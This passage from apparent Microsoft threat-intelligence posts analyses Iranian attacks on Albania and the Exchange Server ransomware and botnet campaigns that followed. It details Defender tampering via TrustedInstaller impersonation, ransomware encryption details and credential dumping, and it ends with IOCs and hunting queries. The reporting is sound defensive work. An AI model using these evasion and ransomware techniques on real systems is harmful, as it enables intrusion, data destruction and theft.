tooling. The distributed binary named _disable-defender.exe_ queries for TokenElevation using the GetTokenInformation API and checks if the process is running with elevated privileges. If the token is not running with elevated privilege, the binary prints "Must run as admin!\\n". If the token is elevated, it queries TokenUser and checks if the SID is "S-1-5-18". If the current process doesn't run under system context, it prints "Restarting with privileges\\n" and attempts to elevate the privilege.\n\nTo elevate the privilege, the binary checks if the TrustedInstaller service is enabled. To do this, it starts the service "SeDebugPrivilege" and "SeImpersonatePrivilege" to assign privileges to itself. It then looks for _winlogon.exe_ process, acquires its token, and impersonates calling thread using ImpersonateLoggedOnUser/SetThreadToken. After impersonating as _winlogon.exe_, it opens TrustedInstaller process, acquires its token for impersonation and creates a new process with elevated privileges using CreateProcessWithTokenW.\n\nFigure 8. How the attacker is able to evade defense components\n\nOnce it successfully creates its own process with TrustedInstaller privilege, it proceeds to disable Defender components.\n\n * Terminates smartscreen.exe\n * Modifies WinDefend service to DemandLoad.\n * Modifies "TamperProtection" value to 0\n * Queries WMI "Root\\Microsoft\\Windows\\Defender" Namespace "MSFT_MpPreference" class for "DisableRealtimeMonitoring"\n * Sets "DisableAntiSpyware" value to 1\n * Sets "SecurityHealth" value to 3\n * Sets "DisableAntiSpyware" value to 0\n * Sets "SYSTEM\\CurrentControlSet\\Services\\WinDefend" service "Start" value to 3\n * Sets "DisableRealtimeMonitoring" value to 1\n * Modifies further settings using WMI "Root\\Microsoft\\Windows\\Defender" Namespace "MSFT_MpPreference" class values,\n * "EnableControlledFolderAccess"\n * "PUAProtection"\n * "DisableRealtimeMonitoring"\n * "DisableBehaviorMonitoring"\n * "DisableBlockAtFirstSeen"\n * "DisablePrivacyMode"\n * "SignatureDisableUpdateOnStartupWithoutEngine"\n * "DisableArchiveScanning"\n * "DisableIntrusionPreventionSystem"\n * "DisableScriptScanning"\n * "DisableAntiSpyware"\n * "DisableAntiVirus"\n * "SubmitSamplesConsent"\n * "MAPSReporting"\n * "HighThreatDefaultAction"\n * "ModerateThreatDefaultAction"\n * "LowThreatDefaultAction"\n * "SevereThreatDefaultAction"\n * "ScanScheduleDay"\n\nAdditional evasion techniques included the deletion of tooling, Windows events, and application logs.\n\n### Actions on objective\n\nDistribution of the encryption and wiping binaries was accomplished with two methods via a custom SMB remote file copy tool _Mellona.exe_, originally named _MassExecuter.exe_. The first method remote file copied the ransom binary _GoXml.exe_ and a bat file that triggers the execution of the ransom or wiper on a user login. The second method was by remotely invoking the ransom binary with the _Mellona.exe_ tool, post SMB remote file copy.\n\nFigure 9. Process Command lines for _Mellona.exe_ used to distribute malware\n\n _win.bat_ \u2013 Batch file for ransom execution - Trojan:Win32/BatRunGoXml\n\n * Executes the ransom binary from the All Users starts up folder and will be executed on the trigger of a user login.\nFigure 10. _Win.bat _contents\n\n_GoXml.exe_ \u2013 ransomware binary - Ransom:Win32/Eagle!MSR\n\n * Takes >= 5 arguments, and the arguments can be anything, as it looks for argument count only. If the number of the command line arguments is less than 5, it will error and create an Open dialog box via GetOpenFileNameA that lets the user open a *.xml file\n * If 5 or more command line arguments were provided, it will firstly check the running instances by opening the Mutex below via OpenMutexA:\n \n \n \u201cGlobal\\\\abcdefghijklmnoklmnopqrstuvwxyz01234567890abcdefghijklmnopqrstuvwxyz01234567890\u201d\n\n * If there are no other running instances, it will create the Mutex above via CreateMutexA.\n * Attempts to mount all the volumes:\n * Finds available volumes via FindFirstVolumeW and FindNextVolumeW.\n * Retrieves the mounted folders of the volume via GetVolumePathNamesForVolumeNameW.\n * If there is no mounted point for the volume, creates a new directory named c:\\\\\\HD%c (%c is A, B, C, \u2026) via CreateDirectoryW.\n * Mounts the volume to the newly create directory via SetVolumeMountPointW.\n * Launches _cmd.exe _and runs the following batch script through anonymous pipe:\nFigure 11. Batch script content of the ransomware\n\n * Strings are encrypted with RC4 Algorithm with key \u201c8ce4b16b22b58894aa86c421e8759df3\u201d.\n * Generates Key using rand() function and uses that to derive RC4 key to encrypt files. The derived key is then encrypted with Public key hardcoded in the file.\n * This encrypted key is then encoded with customized Base64 characters and appended to the ransom note.\n * Renames the file as _[original file name].lck_, and then encrypts the renamed file.\n * Drops a ransom notes file named _How_To_Unlock_MyFiles.txt_ in each folder before encrypting the files, the ransom notes are written in Albanian.\nFigure 12. Ransom note written in Albanian\n\n * Performs a self-delete by launching _cmd.exe_ and executes a batch script though anonymous pipe to perform deletion.\nFigure 13. Batch script for deletion\n\n_cl.exe_ \u2013 wiper \u2013 Dos:Win64/WprJooblash\n\n * _cl.exe_ takes the following parameters\n * cl.exe in \u2013 Installs the driver _rwdsk.sys _and its service\n * cl.exe un \u2013 Uninstalls the driver _rwdsk.sys _and its service\n * cl.exe wp <PATH> - Wipes the give path leveraging _rwdsk.sys _driver\nFigure 14. The malware using _rwdsk.sys_\n\n * Service created: HKLM\\SYSTEM\\CurrentControlSet\\Services\\RawDisk3\n * Installed driver should be located in C:\\Windows\\System32\\drivers\\rwdsk.sys or the same directory cl.exe is staged.\nFigure 15. Directory where the driver is installed\n\n * By providing path (Example: \\??\\PHYSICALDRIVE0) with the 'wp' parameter, passes it to the below function including GENERIC_READ | GENERIC_WRITE access value and a hexadecimal value "B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D". Based on the reference below, the same hex value is used in ZeroCleare Wiper in 2020. [IBM confirms](<https://www.ibm.com/downloads/cas/OAJ4VZNJ>) this value is the license key for RawDisk\nFigure 16. Hex value used in ZeroCleare Wiper\n\n## Recommended customer actions\n\nThe techniques used by the actor and described in the Observed actor activity section can be mitigated by adopting the security considerations provided below:\n\n * Use the included indicators of compromise to investigate whether they exist in your environment and assess for potential intrusion\n * Block inbound traffic from IPs specified in the Indicators of compromise table\n * Review all authentication activity for remote access infrastructure, with a particular focus on accounts configured with single factor authentication, to confirm authenticity and investigate any anomalous activity\n * Enable multifactor authentication (MFA) to mitigate potentially compromised credentials and ensure that MFA is enforced for all remote connectivity \n \n**NOTE: **Microsoft strongly encourages all customers download and use password-less solutions like [Microsoft Authenticator](<https://www.microsoft.com/account/authenticator/>) to secure your accounts\n * Enable [Microsoft Defender Antivirus tamper protection](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection>) to prevent unwanted malicious apps disabling components of Microsoft Defender Antivirus\n * [Understand and assess your cyber exposure with advanced vulnerability and configuration assessment tools](<https://docs.microsoft.com/microsoft-365/security/defender-vulnerability-management/defender-vulnerability-management>)\n\n## Indicators of compromise (IOCs)\n\nThe table below shows IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.\n\n**Indicator**| **Type**| **Description** \n---|---|--- \nGoXml.exe| SHA-256| f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5 \n"w.zip", \n"cl.exe" \n"cls5.exe"| SHA-256| e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0 \nWin.bat| SHA-256| bad65769c0b416bb16a82b5be11f1d4788239f8b2ba77ae57948b53a69e230a6 \nADExplorer.exe| SHA-256| bb45d8ffe245c361c04cca44d0df6e6bd7596cabd70070ffe0d9f519e3b620ea \nLdd.2.exe| SHA-256| e67c7dbd51ba94ac4549cc9bcaabb97276e55aa20be9fae909f947b5b7691e6b \nMellona.exe| SHA-256| ac4809764857a44b269b549f82d8d04c1294c420baa6b53e2f6b6cb4a3f7e9bd \nSl.exe| SHA-256| d1bec48c2a6a014d3708d210d48b68c545ac086f103016a20e862ac4a189279e \nHxD.exe (Hex Editor)| SHA-256| d145058398705d8e20468332162964dce5d9e2ad419f03b61adf64c7e6d26de5 \nLsdsk.exe| SHA-256| 1c926d4bf1a99b59391649f56abf9cd59548f5fcf6a0d923188e7e3cab1c95d0 \nNTDSAudit.exe| SHA-256| fb49dce92f9a028a1da3045f705a574f3c1997fe947e2c69699b17f07e5a552b \nDisable-defender.exe| SHA-256| 45bf0057b3121c6e444b316afafdd802d16083282d1cbfde3cdbf2a9d0915ace \nRognar.exe| SHA-256| dfd631e4d1f94f7573861cf438f5a33fe8633238d8d51759d88658e4fbac160a \nIpgeter.exe| SHA-256| 734b4c06a283982c6c3d2952df53e0b21e55f3805e55a6ace8379119d7ec1b1d \nevaluatesiteupgrade.aspx| SHA-256| f8db380cc495e98c38a9fb505acba6574cbb18cfe5d7a2bb6807ad1633bf2df8 \nPickers.aspx| SHA-256| 0b647d07bba697644e8a00cdcc8668bb83da656f3dee10c852eb11effe414a7e \nClientBin.aspx| SHA-256| 7AD64B64E0A4E510BE42BA631868BBDA8779139DC0DAAD9395AB048306CC83C5 \nApp_Web_bckwssht.dll| SHA-256| CAD2BC224108142B5AA19D787C19DF236B0D12C779273D05F9B0298A63DC1FE5 \nC:\\Users\\<User name>\\Desktop\\| Staging directory| \nC:\\ProgramData\\| Staging directory| \nC:\\Users\\<User name>\\Desktop\\a| Staging directory| \nC:\\ProgramData\\1\\| Staging directory| \nC:\\ProgramData\\2\\| Staging directory| \n144[.]76[.]6[.]34| IP address| Accessed web shell \n148[.]251[.]232[.]252| IP address| Accessed web shell \n148[.]251[.]233[.]231| IP address| Accessed web shell \n176[.]9[.]18[.]143| IP address| Accessed web shell \n185[.]82[.]72[.]111| IP address| Accessed web shell \n216[.]24[.]219[.]65| IP address| Accessed web shell \n216[.]24[.]219[.]64| IP address| Accessed web shell \n46[.]30[.]189[.]66| IP address| Accessed web shell \n \n**NOTE:** These indicators should not be considered exhaustive for this observed activity.\n\nMicrosoft Defender Threat Intelligence Community members and customers can find summary information and all IOCs from this blog post in the linked [Microsoft Defender Threat Intelligence article](<https://ti.defender.microsoft.com/articles/37f61f2a>).\n\n## Detections\n\n### Microsoft 365 Defender\n\n#### Microsoft Defender Antivirus\n\n * TrojanDropper:ASP/WebShell!MSR (web shell)\n * Trojan:Win32/BatRunGoXml (malicious BAT file)\n * DoS:Win64/WprJooblash (wiper)\n * Ransom:Win32/Eagle!MSR (ransomware)\n * Trojan:Win32/Debitom.A (_disable-defender.exe_)\n\n#### Microsoft Defender for Endpoint EDR\n\n[Microsoft Defender for Endpoint](<https://www.microsoft.com/security/business/endpoint-security/microsoft-defender-endpoint>) customers should watch for these alerts that can detect behavior observed in this campaign. Note however that these alerts are not indicative of threats unique to the campaign or actor groups described in this report.\n\n * Suspicious behavior by Web server process\n * Mimikatz credential theft tool\n * Ongoing hands-on-keyboard attack via Impacket toolkit\n * Suspicious RDP connection observed\n * Addition to Exchange Organization Management role group\n * TrustedInstaller hijack attempt\n * Microsoft Defender Antivirus tampering\n * Process removed a security product\n * Tamper protection bypass\n * Suspicious file in startup folder\n * Ransomware behavior detected in the file system\n * Ransomware behavior by remote device\n * Emerging threat activity group\n\n#### Microsoft Defender Vulnerability Management\n\n[Microsoft Defender Vulnerability Management](<https://www.microsoft.com/security/business/threat-protection/microsoft-defender-vulnerability-management>) surfaces impacted devices that may be affected by the Exchange (ProxyLogon) and SharePoint vulnerabilities used in the attack:\n\n * [CVE-2019-0604](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0604>)\n * [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>)\n\n## Advanced hunting queries\n\n### Microsoft Sentinel\n\nTo locate possible threat actor activity mentioned in this blog post, Microsoft Sentinel customers can use the queries detailed below:\n\n**Identify threat actor IOCs**\n\nThis query identifies a match based on IOCs related to EUROPIUM across various Microsoft Sentinel data feeds:\n\n * [https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/EUROPIUM _September2022.yaml](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/EUROPIUM%20_September2022.yaml>)\n\n**Identify Microsoft Defender Antivirus detection related to EUROPIUM**\n\nThis query looks for Microsoft Defender AV detections related to EUROPIUM actor and joins the alert with other data sources to surface additional information such as device, IP, signed-in users, etc.\n\n * <https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/EuropiumAVHits.yaml>\n\n**Identify creation of unusual identity **\n\nThe query below identifies creation of unusual identity by the Europium actor to mimic Microsoft Exchange Health Manager Service account using Exchange PowerShell commands.\n\n * <https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/EuropiumUnusualIdentity.yaml>\n\n### Microsoft 365 Defender\n\nTo locate possible threat actor activity mentioned in this blog post, Microsoft 365 Defender customers can use the queries detailed below:\n\n**Identify EUROPIUM IOCs**\n\nThe following query can locate activity possibly associated with the EUROPIUM threat actor. [Github link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Campaigns/EUROPIUM/Identify%20EUROPIUM%20IOCs.yaml>)\n \n \n DeviceFileEvents | where SHA256 in (\"f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5\",\"e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0\",\"bad65769c0b416bb16a82b5be11f1d4788239f8b2ba77ae57948b53a69e230a6\",\"bb45d8ffe245c361c04cca44d0df6e6bd7596cabd70070ffe0d9f519e3b620ea\",\"d1bec48c2a6a014d3708d210d48b68c545ac086f103016a20e862ac4a189279e\",\"fb49dce92f9a028a1da3045f705a574f3c1997fe947e2c69699b17f07e5a552b\",\"45bf0057b3121c6e444b316afafdd802d16083282d1cbfde3cdbf2a9d0915ace\",\"f8db380cc495e98c38a9fb505acba6574cbb18cfe5d7a2bb6807ad1633bf2df8\",\"7ad64b64e0a4e510be42ba631868bbda8779139dc0daad9395ab048306cc83c5\",\"cad2bc224108142b5aa19d787c19df236b0d12c779273d05f9b0298a63dc1fe5\",\"84be43f5830707cd421979f6775e9edde242bab98003644b3b491dbc08cc7c3e\")\n\n**Identify Microsoft Defender Antivirus detection related to EUROPIUM**\n\nThis query looks for Microsoft Defender Antivirus detections related to EUROPIUM actor. [Github link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Campaigns/EUROPIUM/Identify%20Microsoft%20Defender%20Antivirus%20detection%20related%20to%20EUROPIUM.yaml>)\n \n \n let europium_sigs = dynamic([\"BatRunGoXml\", \"WprJooblash\", \"Win32/Eagle!MSR\", \"Win32/Debitom.A\"]); \n AlertEvidence\n | where ThreatFamily in~ (europium_sigs)\n | join AlertInfo on AlertId\n | project ThreatFamily, AlertId\n\n**Identify unusual identity additions related to EUROPIUM**\n\nThis query looks for identity additions through exchange PowerShell. [Github link](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Microsoft%20365%20Defender/Campaigns/EUROPIUM/Identify%20unusual%20identity%20additions%20related%20to%20EUROPIUM.yaml>)\n \n \n DeviceProcessEvents\n | where ProcessCommandLine has_any (\"New-Mailbox\",\"Update-RoleGroupMember\") and ProcessCommandLine has \"HealthMailbox55x2yq\"\n\nThe post [Microsoft investigates Iranian attacks against the Albanian government](<https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-08T15:00:00", "type": "mssecure", "title": "Microsoft investigates Iranian attacks against the Albanian government", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0604", "CVE-2021-26855"], "modified": "2022-09-08T15:00:00", "id": "MSSECURE:4C62BE50213C7726C383DAD096CBBB99", "href": "https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-26T05:16:59", "description": "Microsoft continues to monitor and investigate attacks exploiting the recent on-premises Exchange Server vulnerabilities. These attacks are now performed by multiple threat actors ranging from financially motivated cybercriminals to state-sponsored groups. To help customers who are not able to immediately install updates, Microsoft [released a one-click tool](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) that automatically mitigates one of the vulnerabilities and scans servers for known attacks. Microsoft also [built this capability into Microsoft Defender Antivirus](<https://www.microsoft.com/security/blog/2021/03/18/automatic-on-premises-exchange-server-mitigation-now-in-microsoft-defender-antivirus/>), expanding the reach of the mitigation. As of today, we have seen a significant decrease in the number of still-vulnerable servers \u2013 more than 92% of known worldwide Exchange IPs are now patched or mitigated. We continue to work with our customers and partners to mitigate the vulnerabilities.\n\nAs organizations recover from this incident, we continue to publish guidance and share threat intelligence to help detect and evict threat actors from affected environments. Today, we are sharing intelligence about what some attackers did after exploiting the vulnerable servers, ranging from ransomware to data exfiltration and deployment of various second-stage payloads. This blog covers:\n\n * Threat intelligence and technical details about known attacks, including components and attack paths, that defenders can use to investigate whether on-premises Exchange servers were compromised before they were patched and to comprehensively respond to and remediate these threats if they see them in their environments.\n * Detection and automatic remediation built into Microsoft Defender Antivirus and how investigation and remediation capabilities in solutions like Microsoft Defender for Endpoint can help responders perform additional hunting and remediate threats.\n\nAlthough the overall numbers of ransomware have remained extremely small to this point, it is important to remember that these threats show how quickly attackers can pivot their campaigns to take advantage of newly disclosed vulnerabilities and target unpatched systems, demonstrating how critical it is for organizations to apply security updates as soon as possible. We strongly urge organizations to identify and update vulnerable on-premises Exchange servers, and to follow mitigation and investigation guidance that we have collected and continue to update here: <https://aka.ms/ExchangeVulns>.\n\n## Mitigating post-exploitation activities\n\nThe first known attacks leveraging the Exchange Server vulnerabilities were by the nation-state actor HAFNIUM, which we detailed in [this blog](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). In the three weeks after the Exchange server vulnerabilities were disclosed and the security updates were released, Microsoft saw numerous other attackers adopting the exploit into their toolkits. Attackers are known to rapidly work to reverse engineer patches and develop exploits. In the case of a remote code execution (RCE) vulnerability, the rewards are high for attackers who can gain access before an organization patches, as patching a system does not necessarily remove the access of the attacker.\n\n\n\n_Figure 1. The Exchange Server exploit chain_\n\nIn our investigation of the on-premises Exchange Server attacks , we saw systems being affected by multiple threats. **Many of the compromised systems have not yet received a secondary action**, such as human-operated ransomware attacks or data exfiltration, indicating attackers could be establishing and keeping their access for potential later actions. These actions might involve performing follow-on attacks via persistence on Exchange servers they have already compromised, or using credentials and data stolen during these attacks to compromise networks through other entry vectors.\n\nAttackers who included the exploit in their toolkits, whether through modifying public proof of concept exploits or their own research, capitalized on their window of opportunity to gain access to as many systems as they could. Some attackers were advanced enough to remove other attackers from the systems and use multiple persistence points to maintain access to a network.\n\nWe have built protections against these threats into Microsoft security solutions. Refer to the Appendix for a list of indicators of compromise, detection details, and advanced hunting queries. We have also provided additional tools and investigation and remediation guidance here: <https://aka.ms/exchange-customer-guidance>.\n\nWhile performing a full investigation on systems is recommended, the following themes are common in many of the attacks. These are prevailing threat trends that Microsoft has been monitoring, and existing solutions and recommendations for prevention and mitigation apply:\n\n * Web shells - As of this writing, many of the unpatched systems we observed had multiple web shells on them. Microsoft has been tracking the rise of web shell attacks for the past few years, ensuring our products detect these threats and providing remediation guidance for customers. For more info on web shells, read [Web shell attacks continue to rise](<https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/>). We have also published guidance on [web shell threat hunting with Azure Sentinel](<http://aka.ms/exchange-web-shell-investigation>).\n * Human-operated ransomware - Ransomware attacks pose some of the biggest security risks for organizations today, and attackers behind these attacks were quick to take advantage of the on-premises Exchange Server vulnerabilities. Successfully exploiting the vulnerabilities gives attackers the ability to launch human-operated ransomware campaigns, a trend that Microsoft has been closely monitoring. For more information about human-operated ransomware attacks, including Microsoft solutions and guidance for improving defenses, read: [Human-operated ransomware attacks](<https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/>).\n * Credential theft \u2013 While credential theft is not the immediate goal of some of these attacks, access to Exchange servers allowed attackers to access and potentially steal credentials present on the system. Attackers can use these stolen credentials for follow-on attacks later, so organizations need to prioritize identifying and remediating impacted identities. For more information, read best practices for building credential hygiene.\n\nIn the following sections, we share our analysis of known post-compromise activities associated with exploitation of the Exchange server vulnerabilities because it is helpful to understand these TTPs, in order to defend against other actors using similar tactics or tools. While levels of disruptive post-compromise activity like ransomware may be limited at the time of this writing, Microsoft will continue to track this space and share information with the community. It\u2019s important to note that with some post-compromise techniques, attackers may gain highly privileged persistent access, but **many of the impactful subsequent attacker activities can be mitigated by practicing the principle of least privilege and mitigating lateral movement**.\n\n## DoejoCrypt ransomware\n\nDoejoCrypt was the first ransomware to appear to take advantage of the vulnerabilities, starting to encrypt in limited numbers shortly after the patches were released. Ransomware attackers often use multiple tools and exploits to gain initial access, including purchasing access through a broker or \u201creseller\u201d who sells access to systems they have already compromised. The DoejoCrypt attacks start with a variant of the Chopper web shell being deployed to the Exchange server post-exploitation.\n\nThe web shell writes a batch file to _C:\\Windows\\Temp\\xx.bat_. Found on all systems that received the DoejoCrypt ransomware payload, this batch file performs a backup of the Security Account Manager (SAM) database and the System and Security registry hives, allowing the attackers later access to passwords of local users on the system and, more critically, in the LSA Secrets portion of the registry, where passwords for services and scheduled tasks are stored.\n\n\n\n_Figure 2. xx.bat_\n\nGiven configurations that administrators typically use on Exchange servers, many of the compromised systems are likely to have had at least one service or scheduled task configured with a highly privileged account to perform actions like backups. **As service account credentials are not frequently changed, this could provide a great advantage to an attacker even if they lose their initial web shell access due to an antivirus detection**, as the account can be used to elevate privileges later, which is why we strongly recommend operating under the principle of least privileged access.\n\nThe batch file saves the registry hives to a semi-unique location, _C:\\windows\\temp\\debugsms_, assembles them into a CAB file for exfiltration, and then cleans up the folders from the system. The file also enables Windows Remote Management and sets up an HTTP listener, indicating the attacker might take advantage of the internet-facing nature of an Exchange Server and use this method for later access if other tools are removed.\n\n\n\n_Figure 3. xx.bat actions_\n\nThe _xx.bat_ file has been run on many more systems than have been ransomed by the DoejoCrypt attacker, meaning that, while not all systems have moved to the ransom stage, the attacker has gained access to multiple credentials. On systems where the attacker moved to the ransom stage, we saw reconnaissance commands being run via the same web shell that dopped the xx.bat file (in this instance, a version of Chopper):\n\n\n\n_Figure 4. DoejoCrypt recon command_\n\nAfter these commands are completed, the web shell drops a new payload to _C:\\Windows\\Help_ which, like in many human-operated ransomware campaigns, leads to the attack framework Cobalt Strike. In observed instances, the downloaded payload is shellcode with the file name _new443.exe_ or _Direct_Load.exe_. When run, this payload injects itself into _notepad.exe_ and reaches out to a C2 to download Cobalt Strike shellcode.\n\n\n\n_Figure 5. DoejoCrypt ransomware attack chain_\n\nDuring the hands-on-keyboard stage of the attack, a new payload is downloaded to _C:\\Windows\\Help_ with names like _s1.exe_ and _s2.exe_. This payload is the DoejoCrypt ransomware, which uses a _.CRYPT_ extension for the newly encrypted files and a very basic _readme.txt_ ransom note. In some instances, the time between _xx.bat_ being dropped and a ransomware payload running was under half an hour.\n\n\n\n_Figure 6. DoejoCrypt ransom note_\n\nWhile the DoejoCrypt payload is the most visible outcome of the attackers\u2019 actions, the access to credentials they have gained could serve them for future campaigns if organizations do not reset credentials on compromised systems. An additional overlapping activity observed on systems where _xx.bat_ was present and the attackers were able to get Domain Administrator rights was the running of scripts to snapshot Active Directory with _ntdsutil_\u2014an action that, if executed successfully, could give the attackers access to all the passwords in Active Directory from a single compromised system.\n\n## Lemon Duck botnet\n\nCryptocurrency miners were some of the first payloads we observed being dropped by attackers from the post-exploit web shells. In the first few days after the security updates were released, we observed multiple cryptocurrency miner campaigns, which had been previously targeting SharePoint servers, add Exchange Server exploitation to their repertoire. Most of these coin miners were variations on XMRig miners, and many arrived via a multi-featured implant with the capability to download new payloads or even move laterally.\n\nLemon Duck, a known cryptocurrency botnet named for a variable in its code, dove into the Exchange exploit action, adopting different exploit styles and choosing to use a fileless/web shell-less option of direct PowerShell commands from w3wp (the IIS worker process) for some attacks. While still maintaining their normal email-based campaigns, the Lemon Duck operators compromised numerous Exchange servers and moved in the direction of being more of a malware loader than a simple miner.\n\nUsing a form of the attack that allows direct execution of commands versus dropping a web shell, the Lemon Duck operators ran standard Invoke Expression commands to download a payload. Having used the same C2 and download servers for some time, the operators applied a varied degree of obfuscation to their commands on execution.\n\n\n\n_Fig 7. Example executions of Lemon Duck payload downloads_\n\nThe Lemon Duck payload is an encoded and obfuscated PowerShell script. It first removes various security products from the system, then creates scheduled tasks and WMI Event subscription for persistence. A second script is downloaded to attempt to evade Microsoft Defender Antivirus, abusing their administrative access to run the _Set-MPPreference_ command to disable real-time monitoring (a tactic that Microsoft Defender [Tamper protection](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/prevent-changes-to-security-settings-with-tamper-protection>) blocks) and add scanning exclusions for the C:\\ drive and the PowerShell process.\n\n\n\n\n\n_Figure 8. Lemon Duck payloads_\n\nOne randomly named scheduled task connects to a C2 every hour to download a new payload, which includes various lateral movement and credential theft tools. The operators were seen to download RATs and information stealers, including [Ramnit](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32/Ramnit>) payloads.\n\n\n\n_Figure 9. Lemon Duck post-exploitation activities_\n\nIn some instances, the operators took advantage of having compromised mail servers to access mailboxes and send emails containing the Lemon Duck payload using various colorful email subjects.\n\n\n\n_Figure 10. Email subjects of possibly malicious emails_\n\n\n\n_Figure 11. Attachment variables_\n\nIn one notable example, the Lemon Duck operators compromised a system that already had _xx.bat_ and a web shell. After establishing persistence on the system in a non-web shell method, the Lemon Duck operators were observed cleaning up other attackers\u2019 presence on the system and mitigating the CVE-2021-26855 (SSRF) vulnerability using a legitimate cleanup script that they hosted on their own malicious server. This action prevents further exploitation of the server and removes web shells, giving Lemon Duck exclusive access to the compromised server. This stresses the need to fully investigate systems that were exposed, even if they have been fully patched and mitigated, per traditional incident response process.\n\n## Pydomer ransomware\n\nWhile DoejoCrypt was a new ransomware payload, the access gained by attackers via the on-premises Exchange Server vulnerabilities will likely become part of the complex cybercriminal economy where additional ransomware operators and affiliates take advantage of it. The first existing ransomware family to capitalize on the vulnerabilities was Pydomer. This ransomware family was previously seen using vulnerabilities in attacks, notably taking advantage of Pulse Secure VPN vulnerabilities, for which Pulse Secure has released security patches, to steal credentials and perform ransomware attacks.\n\nIn this campaign, the operators scanned and mass-compromised unpatched Exchange Servers to drop a web shell. They started later than some other attackers, with many compromises occurring between March 18 and March 20, a window when fewer unpatched systems were available. They then dropped a web shell, with a notable file name format: \u201cChack[Word][Country abbreviation]\u201d:\n\n\n\n_Figure 12. Example web shell names observed being used by the Pydomer attackers_\n\nThese web shells were observed on around 1,500 systems, not all of which moved to the ransomware stage. The attackers then used their web shell to dump a _test.bat_ batch file that performed a similar function in the attack chain to the _xx.bat_ of the DoejoCrypt operators and allowed them to perform a dump of the LSASS process.\n\n\n\n_Figure 13. Pydomer post-exploitation activities_\n\nThis access alone would be valuable to attackers for later attacks, similar to the credentials gained during their use of Pulse Secure VPN vulnerabilities. The highly privileged credentials gained from an Exchange system are likely to contain domain administrator accounts and service accounts with backup privileges, meaning these attackers could perform ransomware and exfiltration actions against the networks they compromised long after the Exchange Server is patched and even enter via different means.\n\nOn systems where the attackers did move to second-stage ransomware operations, they utilized a Python script compiled to an executable and the Python cryptography libraries to encrypt files. The attackers then executed a PowerShell script via their web shell that acts as a downloader and distribution mechanism for the ransomware.\n\n\n\n_Figure 14. __PowerShell downloader and spreader used to get the Pydomer payload_\n\nThe script fetches a payload from a site hosted on a domain generation algorithm (DGA) domain, and attempts to spread the payload throughout the network, first attempting to spread the payload over WMI using Invoke-WMIMethod to attempt to connect to systems, and falling back to PowerShell remoting with Enter-PSSession if that fails. The script is run within the context of the web shell, which in most instances is Local System, so this lateral movement strategy is unlikely to work except in organizations that are running highly insecure and unrecommended configurations like having computer objects in highly privileged groups.\n\nThe Pydomer ransomware is a Python script compiled to an executable and uses the Python cryptography libraries to encrypt files. The ransomware encrypts the files and appends a random extension, and then drops a ransom note named _decrypt_file.TxT_.\n\n\n\n_Figure 15. Pydomer __ransom note_\n\nInterestingly, the attackers seem to have deployed a non-encryption extortion strategy. Following well-known ransomware groups like Maze and Egregor which leaked data for pay, the Pydomer hackers dropped an alternative _readme.txt_ onto systems without encrypting files. This option might have been semi-automated on their part or a side effect of a failure in their encryption process, as some of the systems they accessed were test systems that showed no data exfiltration. The note should be taken seriously if encountered, as the attackers had full access to systems and were likely able to exfiltrate data.\n\n\n\n_Figure 16. Pydomer extortion readme.txt_\n\n## Credential theft, turf wars, and dogged persistence\n\nIf a server is not running in a least-privilege configuration, credential theft could provide a significant return on investment for an attacker beyond their initial access to email and data. Many organizations have backup agent software and scheduled tasks running on these systems with domain admin-level permissions. For these organizations, the attackers might be able to harvest highly privileged credentials without lateral movement, for example, using the COM services DLL as a living-off-the-land binary to perform a dump of the LSASS 